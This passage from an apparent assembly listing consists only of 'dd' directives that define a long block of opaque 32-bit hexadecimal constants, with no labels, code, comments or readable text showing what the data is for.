dd 1FF0CB49h, 47FB814h, 21012CB1h, 92A88005h, 0C605BEC8h
dd 54641CA0h, 901A5C83h, 0EEE8ED57h, 189902FEh, 0AA4CCD20h
dd 0C96ADC40h, 9D095D76h, 8062528Ah, 39E8CCACh, 0EDBD0076h
dd 978B23F6h, 0F200C8DAh, 0C91DEAB0h, 4827C6F4h, 0E500AC1Ch
dd 5EC4EE50h, 500AF02h, 1D78D2DFh, 3A60B0E2h, 0F880A4BCh
dd 39BBE5D3h, 630FA14Ch, 6E61202h, 0C808ADh, 3B41ED53h
dd 0E22FC8A7h, 2C452326h, 0C6F77480h, 0E5CF49h, 0C76D6F2Bh
dd 11646832h, 39F9F207h, 93505923h, 70BC172Ah, 7EDF0358h
dd 62D23718h, 0C9EBF7D7h, 75336500h, 8F316B2Dh, 2EEAD09Dh
dd 0D566E0h, 93DF3E6Ch, 3DAE5B77h, 369D0600h, 88ED7BC5h
dd 45801D17h, 0B39843EBh, 1A80A82Bh, 910011FDh, 0C34B49D6h
dd 20043FA4h, 8B108FE5h, 0BA005825h, 0A61F282Dh, 0FD00ED37h
dd 0F47B50FFh, 7A39ED9h, 0D340A88Eh, 5C40190Eh, 76F042E8h
dd 43CACB0h, 0E52700B6h, 4CA211F5h, 0AB200049h, 0BD5826F3h
dd 0D05658Bh, 0DEA4BBF7h, 841D9401h, 6A70BA4Ch, 0D43E05D5h
dd 0EF50D3Fh, 4DA49194h, 5A1480ECh, 60B7F6DDh, 22BD0Eh
dd 0B65F9EEEh, 0AAC52075h, 0FD0070B8h, 4D6CB471h, 70C3570h
dd 1A91E8E1h, 30D7C027h, 0C72E199Ch, 591A045Eh, 0A04C020h
dd 0F09448DAh, 0BB9EB839h, 0CDCB408Ah, 0FF0B1C8Bh, 985F5Dh
dd 0D8B18CA0h, 0A90DC3h, 391BDC9Eh, 6FEA488Bh, 6A00C7FEh
dd 16F4865Bh, 0B07ABCh, 54652273h, 0A9BB2361h, 8CE06806h
dd 1874A5h, 0E9E689AAh, 1601C446h, 93529102h, 0E0A03B02h
dd 4BDB75h, 0BAA6F362h, 34D686C6h, 50985239h, 22007DC0h
dd 0CC68A5CAh, 81849Dh
dd 1AE1B31Eh, 9070F2AEh, 51D5701h, 0D9F865A3h, 0A0BED6FCh
dd 9DBAD8h, 20471B40h, 5B94A73Fh, 695E3Fh, 8BF761FBh, 14713D6Ah
dd 0AC40FA8Dh, 5A5EC807h, 0DB5900B1h, 0F001709h, 82737928h
dd 20CF9Eh, 0ED4783C1h, 0BA4AE13h, 92F59C00h, 0B8714F4Ah
dd 0CD6600ECh, 17DF73A1h, 0D000F999h, 7E4907C6h, 1DC833E9h
dd 0CE92F2D5h, 5FE12C68h, 70746C76h, 0D3003CC6h, 0ADED58BFh
dd 45A293h, 6D605D3Ah, 84DFE8F1h, 0D0018E8h, 24B5A6F4h
dd 0A37E6C1Fh, 5C3280B0h, 73891E74h, 4BB240CAh, 0FB8DE957h
dd 0EC8B7700h, 0F1432667h, 407560D0h, 20A4D2C2h, 5BFD4F00h
dd 0CA52331Ah, 26DC00EFh, 5A7E650Eh, 161D9E8Ch, 0D900CD1Eh
dd 6E5D9787h, 3B9F0184h, 78E0F494h, 7B80A6CCh, 25995000h
dd 3FFA8Eh, 9E4F8C52h, 7294D431h, 0C3BD600h, 847F6C48h
dd 749C0058h, 649F517Bh, 4101BFC5h, 1E4C4ABEh, 9E0D19Dh
dd 37F600A2h, 1AEC7B9Eh, 627AAECBh, 34EFAA01h, 808A984Eh
dd 7847CFC8h, 6F39001Eh, 52F2B39Ch, 82006E71h, 6A62D875h
dd 3BFC4629h, 802EC540h, 0DAAD09E5h, 0EEB26B00h, 99007914h
dd 202BD9E9h, 985C17EBh, 0F82018Eh, 0DBBDD58Eh, 58208084h
dd 873C39ABh, 24AC9AB0h, 75E66C6h, 40250CA4h, 26A7CB70h
dd 2D7C2109h, 5F9060B1h, 5E130B07h, 0BC200810h, 930BC5E9h
dd 0D8BDD413h, 38F5A440h, 3B5A3D0Ah, 9D00A43Bh, 6271F6F1h
dd 9700C08Fh, 33B226B1h, 0DDDA5Bh, 0BBCA0FC9h, 74AC4A86h
dd 25645058h, 19BC90BDh, 1DA70072h, 57B00540h, 5CF84BC1h
dd 0FB667000h, 2560924Ah, 0B498DCh, 0D4B51E45h, 266A36D2h
dd 7DBC6324h, 2502C303h, 14A000ADh, 2F7DA616h, 0C60086E1h
dd 6337AED9h, 1E929ACBh, 80650536h, 542E46D3h, 660484EEh
dd 0AEEF5776h, 26E828C0h, 2BF300FCh, 65D69ECh, 19308541h
dd 0B130A633h, 3FE290h, 3CF7898Ch, 9FB30873h, 980B453Eh
dd 8AA8C948h, 0E45E0037h, 1D95B7A9h, 57137CA7h, 0BC03D9DBh
dd 0A12246A0h, 74707191h, 1D251FA8h, 0B87201ACh, 0C4A1734Fh
dd 9F0FA4E0h, 0A061B5D4h, 70811EC6h, 40570396h, 0BE8F3E7Ah
dd 2E10BB8h, 0DAB72E00h, 7948302Fh, 36EF0018h, 53646CA4h
dd 9124C1FFh, 4B0025A3h, 0D63CCB75h, 0E06B79C5h, 0E7C300CFh
dd 67FC2F19h, 7D00FDABh, 5B702E8Dh, 4423C2Bh, 0ED85DD6Ch
dd 3754C1D8h, 1A36E835h, 30EFCD2Ch, 0CF5F0F81h, 1060F41Fh
dd 5C570095h, 0DF0B4CE1h, 7A0637D5h, 0F3E27356h, 0D9D89720h
dd 0FD2E7F1Eh, 5E87B900h, 6612F05Bh, 403610F5h, 20D3A50Bh
dd 0B7075F6Ch, 0B76173CDh, 91E295C2h, 9C9C0Ah, 0CF346A20h
dd 82787E05h, 0AD4A2C05h, 54C03670h, 0F9C65A8h, 881E56E4h
dd 0C8F6AC81h, 6D142076h, 82E7EC00h, 89F5178Bh, 565218C4h
dd 0BEAA60F8h, 0AC5A5F7Bh, 0DF6C3004h, 0E3555480h, 0C42B0248h
dd 4733AA2Eh, 0F2426848h, 1C947300h, 18776323h, 1BEA266Ch
dd 816987F4h, 49824907h, 0A448E915h, 0F50313D0h, 0CFD90820h
dd 6B2AB139h, 0A3D1270h, 0DD0ECAEBh, 0AE588098h, 0CB3AD41Dh
dd 74056C24h, 64B1A882h, 44C0807Dh, 1416269h, 0EAA55E5Fh
dd 87DB93DDh, 5A76D669h, 11E276h, 0E03E1DEBh, 65607568h
dd 2600B090h, 0DEFF599Eh, 0A0D5C6A7h, 9F5F4h, 0B8572262h
dd 0FEB402F9h, 74005A72h, 0A49E978Ch, 73215BBBh, 323D0F26h
dd 2C401FE4h, 0B22BEE6Bh, 8AA3A100h, 25CD6163h, 1DBB5ED2h
dd 4F0B8014h, 43DF119h, 72AF6E00h, 35F2F69Dh, 0E5310556h
dd 0D06690C8h, 0E3B61230h, 0AEDCAB50h, 0CE430084h, 34C3959h
dd 6F004DAAh, 9947C8BDh, 7ABC0495h, 0E7B0011h, 0E26D1C6Bh
dd 0A5002B73h, 0E66AB961h, 0FDEDA2Dh, 6367D72Ah, 9ECA0DC0h
dd 0F20045CDh, 0EC356508h, 0FE54E6h, 0F06733DBh, 8FE290BAh
dd 1C03E8BEh, 0B8AAA08Bh, 0FC0EDC94h, 0F2113078h, 80F889A1h
dd 0CB14AB01h, 5346B30Dh, 0E318C24h, 4A50E787h, 32851A80h
dd 4126D8DEh, 7B9FC01Bh, 0C19A5833h, 5180A68Ch, 35839480h
dd 8E00B036h, 0EEEDE05Ah, 0CE6FFE95h, 90A0FC59h, 3807F537h
dd 0E55D6301h, 45D93DF7h, 44204F02h, 40927D3Bh, 0AE0093ADh
dd 0D0F5951Ch, 1C464E55h, 4A0E9E27h, 0BA2409E9h, 99E2F080h
dd 8A181C77h, 69B56200h, 0BFA140DBh, 3F50B86Ah, 7DFD3Eh
dd 0B3CCF3A8h, 0DC5B92AFh, 0EAC36326h, 0D899D600h, 41E9F5h
dd 1DF1A273h, 2BB3B169h, 4049EA00h, 0FF48A8C0h, 2BA72DFh
dd 7645E0C5h, 2BC04C0Fh, 4F007B66h, 0FC229A24h, 2DADE9h
dd 0B7B0D275h, 83B98F11h, 7BD70500h, 0D6565009h, 300A0094h
dd 603ABB10h, 4F2C5D01h, 89070099h, 6DC1AD1Fh, 0B2E0E306h
dd 0AA5A004Ch, 9103696Fh, 47071693h, 8CF5EB0h, 0F02E2940h
dd 30D2001Ah, 31D4C537h, 94A0E3F3h, 1D06E7DBh, 25C719ABh
dd 5FD80070h, 0D9D2A856h, 9F00717Eh, 0AD7D61E9h, 0AB52A5h
dd 3D6B4365h, 0D2C8DB14h, 69389D00h, 10C28CB5h, 226C163Eh
dd 38C001Fh, 0ACDD0FBBh, 5B235007h, 7BA0B042h, 0FE9B0D74h
dd 14D60031h, 882F15E3h, 30F6F04Ah, 0B9750B00h, 160E1AF3h
dd 0B4B63EBFh, 0E2533D81h, 202FECA5h, 0C8A1D788h, 43C43093h
dd 50C4FD0Eh, 810C2922h, 0CFA481ABh, 0B80B16C0h, 91633F04h
dd 0C1541C83h, 90C3E06Eh, 66D0ADA3h, 623F88B4h, 30C30B87h
dd 0B10CE03Dh, 9F1B0059h, 2C88F57Bh, 0D0131931h, 0A85E2047h
dd 0A4E404BCh, 649C94E6h, 246C00AEh, 0D606B1C4h, 183A0CB7h
dd 79EE8008h, 27D246D4h, 0DE7C0073h, 0C14A920Eh, 46B005C3h
dd 0B316049Eh, 982D90Bh, 2C60107Eh, 209A5D52h, 0D3FD2800h
dd 0AC313011h, 160DE59h, 8247E7Ah, 0D8806C7Dh, 581E8A78h
dd 8B0D54Eh, 3CBCC00h, 0BA46FD4Ah, 618ECBBh, 2808251Ah
dd 0A1007875h, 44F25C3Eh, 4E090F01h, 0E1A4001Dh, 0E276433Dh
dd 0BEDDD100h, 554E9A1Ah, 97260B2Ch, 4060583Ch, 93487FE6h
dd 0D1D20ECCh, 0EE0B40D6h, 2CA9570Ch, 9008F805h, 3311C060h
dd 0E23E6CC3h, 7C9E1E71h, 0DD80FB4Ah, 76618144h, 57008F9Ch
dd 27798A3Ch, 6094ECDEh, 38AFC27Dh, 0A8028CF9h, 310DC51Eh
dd 98C45Ch, 0E9EB5EABh, 0A71C97C2h, 3AE2EC00h, 5CF50425h
dd 4BD50B02h, 0D7B194h, 1AB57581h, 3ECEC18Eh, 0D87F2D95h
dd 20589376h, 800D3EDBh, 65DE1656h, 0E261D914h, 12E07E67h
dd 741A28Ah, 3A083208h, 1580BEE0h, 0BFC566FAh, 4090386Eh
dd 0E9028DE0h, 43449F32h, 6C98E0A1h, 97350176h, 7CB57BBh
dd 0D83CD8h, 7D4790F9h, 0E53DCACh, 0B9CF9DA1h, 0D55582A0h
dd 0ED0005D1h, 306FC3Bh, 1DD8115h, 5A36E8F8h, 0C41012A0h
dd 0A3091F5Bh, 85CA0222h, 94C1C1A0h, 30702D19h, 83A70361h
dd 0BB8511E5h, 307D28C1h, 5200EC1Ah, 0A2F91B9Eh, 18E8B06h
dd 1F5FFDCCh, 7019136Bh, 0AE4AE084h, 0E3CFD400h, 2DFB589Fh
dd 84900E73h, 11013341h, 9DE72BB2h, 3CC0771Ch, 6E9F073Dh
dd 0B03BC384h, 0BA505AA7h, 61CB9200h, 6AC53FF2h, 677138h
dd 9966DB79h, 6C60739Bh, 0EF2494B8h, 20002CFBh, 0C2CFEE52h
dd 3FB17345h, 53249482h, 0B98A00C8h, 0CBF0C693h, 0B43F9D00h
dd 5D8E3BE1h, 151200E6h, 0D84DD77Ah, 2500A13Ah, 0D3928DAh
dd 1F4A4Bh, 31B41D95h, 0C96EE9A3h, 0A41EFC00h, 0A85A17C5h
dd 39872D2Bh, 2E3FE438h, 9CDF901Ch, 0C6F782FCh, 0C00B0466h
dd 38D4313Bh
dd 500EB496h, 19407326h, 32A987BAh, 157D3F00h, 0FA62D511h
dd 40930BF8h, 0AE83B36Eh, 48F8DC37h, 8F721ABFh, 0F6728007h
dd 6D717EEEh, 0EC3EF03Dh, 8FD00FBh, 0C7ACAEA0h, 81C91E39h
dd 143E0040h, 4F1523CDh, 0A2DA4200h, 0CE22FB0Ah, 2A1B00B8h
dd 0C40D7FAEh, 0AC0134F3h, 0E70A9751h, 0E0E08F0Eh, 48FAF728h
dd 705ACE68h, 0A0FD00CCh, 0F0069095h, 0C603D8D3h, 5717BA07h
dd 9CE89844h, 30F325E3h, 0E1F0D060h, 653E5F00h, 286453DDh
dd 0C6870029h, 21D0AD4Bh, 812E10Ah, 78D83815h, 4CF407B5h
dd 0A9627E87h, 0AB5FCE83h, 0F185EED0h, 0A659A900h, 86823C92h
dd 0D4AA00CAh, 6A633743h, 0E70577C9h, 5848A0BFh, 21A3B9C0h
dd 1C410099h, 0B038FEADh, 0F600732Bh, 2A22681Ah, 95DD19EFh
dd 0DE9DB480h, 0F704858Fh, 0FB553CF3h, 0B8C29E80h, 8798B4AEh
dd 871A63CEh, 515081D6h, 0AF33F438h, 0B8C910C0h, 0BAE44A4Eh
dd 3CD8A004h, 0A33A3CE8h, 0DA8F9800h, 0CA9C1F9Fh, 0D5829100h
dd 4ED10FD0h, 0B4AC5h, 1C907CBCh, 0CC03AECDh, 0B0E5920Dh
dd 1BC1B8F9h, 0B8E35A27h, 0D39002CAh, 0C8A4060Bh, 2ED19F34h
dd 0A7B0D5BCh, 61D3BC22h, 2301AC60h, 538ACC1Ch, 981875C0h
dd 0DE5652h, 2219F39Ch, 6D784B4Eh, 0F189A60h, 0A38E03h
dd 1560905Dh, 85E3971Dh, 6139D40Eh, 944F4033h, 509FE4B9h
dd 440A72Fh, 0E6F07B58h, 8FF0C772h, 0A745C962h, 992DBC50h
dd 9A7886D3h, 0B82148BAh, 2075A280h, 0DE00D808h, 0E3A67B12h
dd 3F3AD0h, 0C5948F2Dh, 2BA1F7C9h, 0DD87B607h, 0B4F12908h
dd 808522A2h, 40A71370h, 9D35F894h, 95028896h, 51C122EAh
dd 1E888323h, 6DDAC13Ch, 3FF4A030h, 0A62CA940h, 0E6C8AA0h
dd 31DE80B4h, 0F0FF2D77h, 3BD9125h, 0B048E9D8h, 98B490CDh
dd 0C81400D4h, 0DDED1019h, 1A000A87h, 9033A2F7h, 51AF8AC0h
dd 0F8C9E456h, 8C9C34h, 20F1FFDEh, 8911CE88h, 0A0D6C300h
dd 0EC18721Ch, 4B6500E1h, 8B22F9EDh, 0B91E5B8Ah, 634073DEh
dd 0D70AAF29h, 4C70ECDFh, 0EB084016h, 9D4079C6h, 0E534981h
dd 36EA55B8h, 60924B41h, 80DCE902h, 0A2931E0h, 3F1B8105h
dd 373EE184h, 0DF857B09h, 20002450h, 21E65CF6h, 0B5A6E0h
dd 96D6E28h, 47A80C18h, 431DCB00h, 0A1545F59h, 8FD70BC0h
dd 6D00E6FEh, 0B56E99F2h, 4100CA79h, 8B820557h, 3598096h
dd 519A896Fh, 0B4C009CBh, 4F028CEEh, 0BCD86986h, 2DA54193h
dd 0BC20C2A7h, 35D96E80h, 0E2C67801h, 0AF044F48h, 0E0EB5ADCh
dd 0AE8F144Ah, 1B26D3D9h, 51CE80F4h, 9E99117h, 283BD012h
dd 0FA10ECE4h, 48292C43h, 24BB0567h, 77F8A0ABh, 0A42E4000h
dd 654571B0h, 8F6E003Ah, 0D7EB6B38h, 0B4A0158Dh, 4D00D16Fh
dd 4E77D33Bh, 0A0CEE7DBh, 7030179Ch, 16940BB0h, 43806203h
dd 0D78A1E3Dh, 9DEEACC5h, 9249B200h, 0EAD669h, 5A30C07h
dd 10320E7Ah, 0E090DF25h, 6C1450h, 687FCC50h, 834C9957h
dd 0E0852725h, 515C17h, 8F95A421h, 0E2ED33E7h, 19B7D900h
dd 86A0C396h, 13A70446h, 0AC52426Fh, 3510048h, 0F4A31C54h
dd 876C0026h, 0CA6E08FAh, 2400C294h, 3E19E013h, 18E925h
dd 6FAA603Fh, 27F74362h, 0AF04A4B0h, 782B752Fh, 88CE3E0Fh
dd 0F298D941h, 8033CC4Bh, 0A1D15A00h, 5999A247h, 0EB640182h
dd 816FA0D4h, 7E50303Eh, 42BD3303h, 0AA4B1B98h, 0CD40DF22h
dd 0C509787h, 0A2095FB0h, 5A683A1Dh, 70D25894h, 2637FD00h
dd 59A3FCECh, 3D07EE1Dh, 0BCA7DE80h, 4C36314h, 66FD50F7h
dd 99C8809Ah, 9EB0119Fh, 4E04A27Bh, 200BBBEFh, 0E0B39980h
dd 986A0B83h, 4C84D2A6h, 0E198C749h, 7035F7FAh, 0E400F64Ah
dd 0F4B17C2Fh, 0CD482Ch, 0DE01FFD7h, 0EC8E4723h, 16D5A3Ch
dd 46903D8Bh, 5470E151h, 62530277h, 63BAC238h, 9B036C56h
dd 0B023893Dh, 0F15248h, 0F3757EBEh, 6A2895A6h, 0C0C29D0Eh
dd 0FFDF631Ah, 0DB818076h, 0D43B2EDEh, 0D0F801A0h, 34613FD3h
dd 0FC11ADECh, 3D01C088h, 904C57DCh, 8FD130C1h, 0AD172400h
dd 0B4B10231h, 5688A089h, 0FF1C0074h, 6B30A9F3h, 3A0901B2h
dd 82E2A485h, 7403E008h, 9180040h, 6584741Eh, 264B8B00h
dd 0B30EFFE1h, 921303BCh, 2958F932h, 0E75462E0h, 1B656B00h
dd 22C1F25Ch, 7530F263h, 0A0C0FE1Eh, 954AF6h, 8EBF81CAh
dd 0A79917B3h, 352DBE01h, 6DD8E194h, 271FBDE4h, 0E400CEF0h
dd 60390A59h, 27EA1A00h, 1550FC6Ah, 0E58302A8h, 113173FFh
dd 7E40E476h, 553B6BDh, 0D6B723BFh, 1218D114h, 61D360E0h
dd 8C0E94A8h, 81712F1Fh, 0A5372042h, 9CA8A08Ah, 0EAC65AD2h
dd 7BF3013Bh, 3205A248h, 2F59C90Ch, 0F51EEC00h, 9D94BD9Bh
dd 0F139A000h, 954E3F47h, 0D33C11A8h, 87601980h, 30DC3353h
dd 9757AE16h, 78839000h, 0F66C282Ah, 0ED5D1934h, 8747189Ah
dd 0B6CA987Eh, 0B4817335h, 0A2FCB008h, 0FDBB07D0h, 60F2BEC8h
dd 78B27DACh, 730064E6h, 0B6C6E91Ch, 84F8ADh, 0A0D7D454h
dd 25EB98A9h, 0E069CA00h, 851BAE3Dh, 22081DB1h, 2E350714h
dd 8111B0E3h, 2D02E8C6h, 481ACDABh, 54908071h, 9CC8D7h
dd 25941C0Bh, 0EA227512h, 147CAB0Fh, 0A265A081h, 2F3C0D16h
dd 0AF54F494h, 928F803Eh, 51FFC3B8h, 606E01D6h, 0E9F44E32h
dd 4A90708Ah, 0A318A900h, 10B372E0h, 7F4D3FB2h, 8027919Eh
dd 9521CFB8h, 2900C923h, 0E4FCF680h, 0B834Bh, 5618F4E1h
dd 0A3224052h, 1A642095h, 954E1769h, 0ADBCA640h, 0EEA21201h
dd 833F2A6Ch, 1D53430h, 0CE7A410Fh, 47BE7C0Ah, 3C290D0h
dd 19003020h, 9EAAA5EEh, 6C809E3h, 361BF2EFh, 880054CCh
dd 4AFB118Fh, 0BA643Eh, 0F912B654h, 2E748C48h, 0F652B713h
dd 91C4E0h, 62D1D54Ah, 78ABE495h, 98BF9209h, 4EC0C03Bh
dd 0E7280759h, 21FE7655h, 0EC820E1Bh, 0D65B4BF7h, 32AE7C00h
dd 38B34320h, 0A28019ABh, 0B1D7A512h, 0B0056A0Ch, 72704176h
dd 48FD2CB0h, 2909801Bh, 28D8AEDFh, 4D7D1203h, 1788C1Ah
dd 0A17B0310h, 60C95B5Ah, 2B00C85Ah, 872635DFh, 14DBD055h
dd 0FC94BAE8h, 0C0156600h, 39AF1A5Ch, 1F01FA72h, 7806E3C4h
dd 3BE2EBh, 0FC0EAD4Ch, 0E60054BCh, 250CD7E8h, 3FC632A3h
dd 0BE008AB0h, 72BFB2E4h, 0AE2E2F02h, 148BA476h, 1F10E031h
dd 0F5A007B9h, 109C123Ah, 90EB46F9h, 3EB48A04h, 0DC94157Dh
dd 0C232DA80h, 0E81D6343h, 3BF922CFh, 798050C1h, 25774235h
dd 0C8C3093Dh, 0DBE454C0h, 0D0B8962Eh, 0D04FE884h, 0AF30FCA8h
dd 0ACA8D721h, 0C002047Dh, 0DB6E9748h, 8B61C377h, 0B6891284h
dd 0C21C900Eh, 21005CF1h, 3953E17Bh, 96C7D13h, 249926B1h
dd 4700B872h, 3CB07822h, 0F2A3F3h, 54E2907Eh, 0F98A6625h
dd 0E126EF2h, 34F06D2Fh, 6FA50131h, 0DB78077Ch, 728028C1h
dd 0EA6C7300h, 0AECE85D7h, 62FF09A9h, 40A03650h, 0FD131DC1h
dd 402AC8C0h, 0F23ABAE7h, 79910215h, 0D9D5AC0Bh, 0A8994440h
dd 0B881C800h, 3F631F98h, 678803D8h, 0BB323476h, 59CA6A8h
dd 0A95D2716h, 0AB8D5480h, 0CC593D76h, 96AAF384h, 0BD0DC05Ah
dd 0D8F356A2h, 137A19E6h, 45304B60h, 9D40460h, 0DDB5BFAEh
dd 0E2E97418h, 0ED3EF0Bh, 0F63C04F9h, 762CAA80h, 90816050h
dd 87686CEDh, 0D8C796A0h, 379009C0h, 62771665h, 0C8F629D4h
dd 62F7C363h, 8607D2Fh, 0B30162AEh, 0CC8E0D2Eh, 24806AD4h
dd 0B866F6EDh, 733FF3E3h
dd 0F83180ACh, 65A8E2BAh, 0C3160758h, 0F3A7013Eh, 4F06DF7h
dd 15E2CA90h, 576096F0h, 4279B770h, 0E4E85894h, 16C05B00h
dd 596EAB64h, 927ADEF6h, 58E60731h, 0F9F42A06h, 60AA0AAEh
dd 9E4C583h, 0BC42914Bh, 0A90064F0h, 23435BB2h, 3B77CA5Eh
dd 0E10283A3h, 8B4DBF4Eh, 0ADFC0740h, 0A8008C4Eh, 0E43513BDh
dd 487E0E76h, 3E401FA8h, 0C4A71505h, 0EC80201h, 0A3B385Fh
dd 95D65D4h, 8774D079h, 48307010h, 0E95B9B72h, 9E095002h
dd 0B69F407Fh, 0E35E0037h, 0CFD8D1FFh, 0EC910E4Ah, 5E3067CEh
dd 0E521FA60h, 0E89A48AEh, 0C9200A3Ch, 52375007h, 3BB03479h
dd 6C48E1h, 0D5876E20h, 39D2EB9Ch, 2C6123Ch, 66321EDh
dd 0B9604001h, 0CC0D287Fh, 0F9DE7494h, 68F849FEh, 3FFC022Eh
dd 68681BC9h, 0E65F30BCh, 2EB9008h, 3F3CAFC4h, 8EF75060h
dd 0ECDD3300h, 0E8BCC245h, 0AF1E00F5h, 716FBD65h, 0A5029948h
dd 6D262B56h, 270D4ADh, 0D596FA37h, 0EA44B47Eh, 0C20048EDh
dd 1D0C591Eh, 0EC92DE29h, 9958AB13h, 0AE07A816h, 0AA608489h
dd 0F238B3EDh, 0A31E07DFh, 701ADC81h, 0FC3F89F5h, 271C23F6h
dd 7FC0476Fh, 5F425CA5h, 64831873h, 16D4107Dh, 7AF55000h
dd 57AB6662h, 84A30267h, 0D7DCBFA4h, 2BB7EEE0h, 7C78FF00h
dd 0EDCD0249h, 0DED4FB40h, 62990028h, 0FBA59D64h, 0A0003D04h
dd 0BB73D570h, 0A36E05h, 0B336D10Bh, 2E85D98Bh, 4C1F83F0h
dd 5D00C74Fh, 9290CB5Ah, 0C17C3E3Eh, 2CF2B001h, 0C453A641h
dd 1B7D60BCh, 3062C800h, 0F555D69Eh, 0ACE160ACh, 0FA9B8FFFh
dd 4B132E00h, 9FFDC0E8h, 555C0009h, 29C4AFE7h, 0BB00B5DAh
dd 0B2549CDFh, 22FC1E2h, 49F40BD0h, 9CA03F8Fh, 0E5D781D6h
dd 0CE8C310Ch, 0BA7073h, 6FEA100Fh, 232409B9h, 0FD3E2C18h
dd 28BF40h, 4FCE27FFh, 0C8905A31h, 9E193Bh, 9B7742E9h
dd 786BF5A2h, 91ED00B4h, 0EFAD237Ch, 3119781Eh, 4179BE9Dh
dd 39017C0h, 6721F6A5h, 5698D2ABh, 521FE85Fh, 0C940A29Fh
dd 0FE972BD0h, 0B096002Fh, 0AE805403h, 0BC00A1DCh, 4010A625h
dd 0B97FD46h, 0EEB9A04Ah, 5519C000h, 6500761Ch, 0F27961CFh
dd 0ED5228h, 0D559AF5Dh, 369B90BEh, 0E850A00h, 1A84C5D6h
dd 9AFC89h, 0F88819B2h, 67D162C9h, 30931701h, 268A21B4h
dd 1970ECCh, 79AAEC47h, 963977C0h, 0A0E82E8h, 0D6E6A0FDh
dd 24E4C7AFh, 1E9D3Bh, 0B4625AC5h, 0DC0729B2h, 5D4277BEh
dd 1EE885D0h, 0E55002Ch, 0D82FB698h, 0F2007E56h, 37BE9016h
dd 7559CFh, 0A89618EFh, 0E2733D05h, 191DE773h, 0D0801404h
dd 2E8EF2D6h, 0C2BE1CD1h, 0D262438Fh, 51A2DE53h, 1E013D60h
dd 0BCBD9300h, 32A1EDB2h, 9E2C008Fh, 0C191B69Ah, 700CDB3h
dd 0A8BB837h, 0E728225h, 0D942F10Ch, 4CD255E0h, 140333C2h
dd 3DE7F779h, 0A1A590ECh, 60F00E4h, 9DDDDCDEh, 90008C82h
dd 9B1568A7h, 28E2CEB8h, 0E390AAE4h, 220D8h, 2A081DB7h
dd 976FF949h, 8400C0FEh, 34352CD6h, 78C77Ah, 87C3CA38h
dd 0BFF95FB2h, 4CD8D309h, 0DB1C005Bh, 4DC8EDh, 0AFD2815Ch
dd 506C1A64h, 0C991DC00h, 0F4CBC38h, 708074D3h, 615AE010h
dd 5FF456D4h, 30C02006h, 2EA17303h, 0B83F49E7h, 5AE866h
dd 0F3B9B637h, 55AED129h, 0BB38081Fh, 0E2BFE900h, 78630F5h
dd 0F14C7E61h, 849630EDh, 0A2076BF6h, 31CFFAAh, 0C81478D0h
dd 5C3D0018h, 761BDE97h, 3001288Bh, 0EAD6C9D0h, 88407770h
dd 1290F3h, 0E1A465F4h, 509AE5AFh, 99044B00h, 27F3D4F6h
dd 1ECE2424h, 0D6DE0B18h, 1D9C0C8Ah, 0F0FD0F2Ch, 4E8FD740h
dd 8A00AA36h, 9364C60Ah, 7470D41h, 0EDB0D060h, 9F9A5083h
dd 2C00204Ah, 6EE8E4DCh, 3214D8Ah, 47D1F159h, 248AEA26h
dd 0FE091840h, 0F8E4970h, 0A47BB34h, 0E2957E42h, 971DDC48h
dd 809FCF00h, 674CD312h, 0CEF400AEh, 0FA966B33h, 560EB717h
dd 0A04D45AFh, 0B07AD1CCh, 557E5Ah, 8CCE1980h, 8DB5338Bh
dd 32833414h, 80203C98h, 71E144D7h, 1DDFFDB0h, 5D7E1852h
dd 5680FC0Ch, 4C365DC8h, 20ED0EA0h, 16011117h, 471A22BEh
dd 27F82C19h, 4D4E009Bh, 883A57E7h, 4601932Dh, 2B6EBFB5h
dd 69D80E3Bh, 8E45Fh, 0EE4370D6h, 968218D2h, 0EBC958h
dd 84311455h, 45E628h, 0D3CA223Ch, 2A601EDh, 1798387Fh
dd 2DF7095h, 8C6BE66Eh, 0B8601C70h, 2891C262h, 3CC97500h
dd 0B478F0h, 28179D76h, 12D364ADh, 59007976h, 2E982451h
dd 0AE264Fh, 335D58A7h, 0BE2D4DEAh, 0E89053Fh, 60B1C79Eh
dd 0C0E14B81h, 0AFFA00F3h, 0F96AEBD8h, 53003ED6h, 35641D45h
dd 0B8BE07A6h, 59DC8056h, 90DC0F47h, 0D2804D5Fh, 0C41941B2h
dd 7732CA04h, 0A5BCA274h, 4A2C3300h, 0E12067C8h, 0E3EBB302h
dd 800A1D3Fh, 0D1BDFA8h, 12750AA3h, 0ECBEAFh, 8D418AFDh
dd 0AB001610h, 54C1E59Ah, 382943CCh, 0FF813E80h, 2B20CB9Dh
dd 6AF1E077h, 0AC19B0Ch, 76071122h, 0AFED0073h, 95E43B8Ah
dd 70C0CED1h, 0CF103358h, 669E12FDh, 0D97C4060h, 90A50DF5h
dd 179AC201h, 679E0534h, 0FCC71040h, 81B1C70Dh, 87AC0338h
dd 417A07FFh, 4329C752h, 0D59F10h, 62B3CD1Ch, 0CC743407h
dd 7E51A900h, 0D87F026h, 6A1500E7h, 0B1B3D68h, 1C0044BEh
dd 103B5AB1h, 0D23D9h, 0E99DBF4h, 62EBCF2Ch, 59B4A835h
dd 1A009A12h, 103DFEB1h, 43691485h, 620EB02Fh, 204340Bh
dd 271E0530h, 0E34848h, 6AD29414h, 0C8C0CAA5h, 48EB81A6h
dd 380600C6h, 0DCD4B99h, 5B006482h, 0E2524AA8h, 3D1B0B43h
dd 6B07E46Ah, 0F4C1DDh, 0A56D36E7h, 56617190h, 0E4A78B18h
dd 0F8266A20h, 0C9471EFh, 5E346543h, 3186E20h, 0A590E061h
dd 30A6FCEEh, 0A930DE1Bh, 7404B976h, 0B67A624Dh, 0C418CAC6h
dd 293740h, 64CF8B79h, 66183C0Eh, 83BF8D0Fh, 0CE4C0690h
dd 7AF95982h, 63A802D9h, 2F85256h, 5C85D0A3h, 4DF42118h
dd 60154389h, 21905130h, 0D73038AAh, 7DB7D161h, 26A5039Ah
dd 33A7CF59h, 0CDEE410Fh, 0E02DA3C5h, 487CD8h, 0B50D395Fh
dd 0A57DAC64h, 25430A1Fh, 34245C01h, 1CC1B188h, 71096098h
dd 0AC007D96h, 45B4F5A8h, 0EE5E69h, 3C21E684h, 0C39B1EC9h
dd 1F0043F8h, 5BC6A16Bh, 50FCBA91h, 264CC15h, 712523C4h
dd 0D640E546h, 0FE736950h, 68004F77h, 633449C2h, 2C7072CDh
dd 761D56Bh, 20269182h, 4707E2CBh, 50D28C07h, 0A7515890h
dd 0EBC4456Bh, 335C1C3Bh, 2F7C06Dh, 0F863E053h, 986959h
dd 77DB661Dh, 60E9A9h, 0CC049571h, 80B8E4BDh, 8FA0EC4Bh
dd 32CE6AAh, 0C2BBB42Dh, 7EFA5F59h, 494A0AFh, 0DAA70AFAh
